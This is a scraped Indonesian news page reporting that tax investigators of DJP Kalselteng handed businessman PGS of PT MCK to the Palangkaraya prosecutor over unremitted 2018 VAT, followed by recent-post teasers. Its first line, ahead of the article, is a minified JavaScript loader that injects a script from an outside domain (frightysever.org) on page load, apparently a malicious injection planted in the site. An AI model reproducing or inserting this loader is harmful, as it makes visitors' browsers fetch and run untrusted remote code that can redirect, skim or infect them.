(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Penyidik DJP Kalselteng Serahkan Pengusaha Pengemplang Pajak ke Kejari Palangkaraya


KANALKALIMANTAN.COM, PALANGKARAYA – Penyidik Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng) menyerahkan tersangka kasus tindak pidana perpajakan ke Kejaksaan Negeri (Kejari) Palangkaraya.

Pengusaha berinisial PGS dari PT MCK sebelumnya ditetapkan sebagai tersangka dan kasus dinyatakan lengkap (P21) oleh Kejati Kalteng pada 10 Agustus 2023, sehingga dapat dilaksanakan tahap II di Kejari Palangkaraya.

PGS diduga telah melakukan tindak pidana perpajakan dengan sengaja tidak menyampaikan Surat Pemberitahuan Tahunan (SPT) Pajak Pertambahan Nilai (PPN) tahun pajak Januari-Desember 2018.

Baca juga: Banjir Landa 25 Desa di Kapuas, 3.940 Rumah Warga Terdampak

“Tersangka tidak menyetorkan PPN yang telah dipungut dari PT IP, PT MKM, dan PT KUS dalam kurun waktu Januari sampai Desember 2018,” kata Kepala Kanwil DJP Kalselteng Syamsinar dalam siaran pers yang diterima Kanalkalimantan.com, Kamis (18/1/2024) malam.

Perbuatan tersangka dikatakan melanggar pasal 39 ayat (1) huruf c dan huruf i Undang-Undang Nomor 6 tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP) sebagalmana telah diubah terakhir dengan Undang-Undang Nomor 6 Tahun 2023 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang Nomor 2 Tahun 2022 tentang Cipta Kerja menjadi Undang-Undang jo pasal 66 Kitab Undang-Undang Hukum Pidana (KUHP).

Kepala Kanwil DJP Kalselteng mengatakan, langkah yang dilakukan pihaknya terhadap tersangka PGS merupakan upaya terakhir penegakan hukum perpajakan.

Baca juga: Proyek 2023 Tak Kunjung Dibayar Pemko Banjarmasin, Balai Kota Didemo

Sebelumnya pihaknya dikatakan sudah melakukan langkah persuasif dan memberikan kesempatan kepada tersangka untuk menempuh upaya hukum administratif, namun tak diindahkan.

“Semoga penegakan hukum ini dapat menjadi peringatan kepada wajib pajak untuk selalu patuh akan peraturan perpajakan, sehingga tidak terulang kembali di masa mendatang,” kata Syamsinar.

Baca juga: Jual Anakan Ikan 10 Pedagang Disanksi, DKKP Banjar dan Tim Lakukan Sidak

Pihaknya mengucapakan terimakasih kepada Kejari Kalteng, Polda Kalteng, dan Kejari Palangkaraya atas koordinasi yang dilakukan dalam kasus tersebut. DJP Kalselteng kata Syamsinar akan terus menegakan hukum untuk memberi keadilan dan kepastian hukum bagi wajib pajak. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

2 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

5 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

5 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

19 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

21 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

24 jam ago

This website uses cookies.